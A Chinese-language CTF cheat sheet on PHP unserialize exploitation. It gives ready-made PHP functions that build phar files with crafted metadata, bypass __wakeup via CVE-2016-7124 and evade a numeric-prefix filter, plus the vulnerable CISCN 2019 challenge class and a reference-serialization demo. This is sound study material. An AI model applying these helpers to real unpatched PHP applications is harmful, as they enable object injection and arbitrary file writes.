记录下常见的反序列化的解题方案

phar matedata

  • PHP版本:特性,非BUG

快速利用函数,注意 phar.readonly = Off,一般PHP包装协议中即可使用

/**
 * 生成Phar
 * 
 * php.ini phar.readonly = Off
 */
function generate_phar($obj, $filename)
{
    $fn = $filename . '.phar';
    if (file_exists($fn)) {
        @unlink($fn);
    }
    $phar = new Phar($fn);
    $phar->startBuffering();
    $phar->setStub('GIF89a' . '<?php __HALT_COMPILER(); ?>');
    $phar->setMetadata($obj);
    $phar->addFromString("author.txt", "dxkite");
    $phar->stopBuffering();
    @rename($fn, $filename);
}

__weekup 绕过

  • PHP版本:PHP5 < php-5.6.26RC1 PHP7 < php-7.0.11RC1
  • CVE: CVE-2016-7124
  • 修复:Github

快速利用函数

/**
 * CVE-2016-7124
 * @version < php-5.6.26RC1  < php-7.0.11RC1
 * @link https://github.com/php/php-src/commit/448c9be157f4147e121f1a2a524536c75c9c6059
 */
function weekup_bypass($input)
{
    return preg_replace_callback('/O:(\d+):"(\S+)":(\d+):/', function ($match) {
        return 'O:' . $match[1] . ':"' . $match[2] . '":' . (intval($match[3]) + 1) . ':';
    }, $input);
}

数字简单校验绕过

  • PHP版本:PHP7 < php-7.2.0RC1
  • 修复:Github

题目 CISCN 2019 Web 1

class BlogLog {
    public $log_ = '/tmp/web_log';
    public $content = '[access] %s';

    public function __construct($data=null) {
        $temp = $this->init($data);
        $this->render($temp);
    }

    public function init($data) {
        // No, you can't control an object anymore!
        $format = '/O:\d:/';
        $flag = true;
        $flag = $flag && substr($data, 0, 2) !== 'O:';
        $flag = $flag && (!preg_match($format, $data));
        if ($flag){
            return unserialize($data);
        }
        return [];
    }

    public function createLog($filename=null, $content=null) {
        if ($this->log_ != null)
            $filename = $this->log_;
        if ($this->content != null)
            $content = $this->content;
        file_put_contents($filename, $content);
    }

    public function render($k) {
        echo sprintf($this->content, $k['name']);
    }

    public function __destruct() {
        $this->createLog();
    }
}

快速利用函数

/**
 * 数字检测绕过 (数字前可为正数)
 * @version < php-7.2.0RC1
 * @link https://github.com/php/php-src/commit/8522e2894edd52322148945261433e79a3ec3f88
 */
function bypass_number($input)
{
    return preg_replace('/([oc]):(\d+):/i', '$1:+$2:', $input);
}

序列化引用

序列化时,引用自身属性可以构造两个相同的变量

class A {
    public $a, $b;
}
$a = new A;
$a->a = 100;
$a->b = &$a->a;
$aa = serialize($a);
printf("serialize: %s\n", $aa);
$aaa = unserialize($aa);
$aaa->b = mt_rand(1,9999);
printf("a===b\t\t%d\na==b\t\t%d\nmd5(a)===md5(b)\t%d\na\t%s\nb\t%s\n", 
$aaa->a === $aaa->b,
$aaa->a == $aaa->b,
md5($aaa->a) === md5($aaa->b), 
$aaa->a, $aaa->b);

输出:

serialize: O:1:"A":2:{s:1:"a";i:100;s:1:"b";R:2;}
a===b           1
a==b            1
md5(a)===md5(b) 1
a       1493
b       1493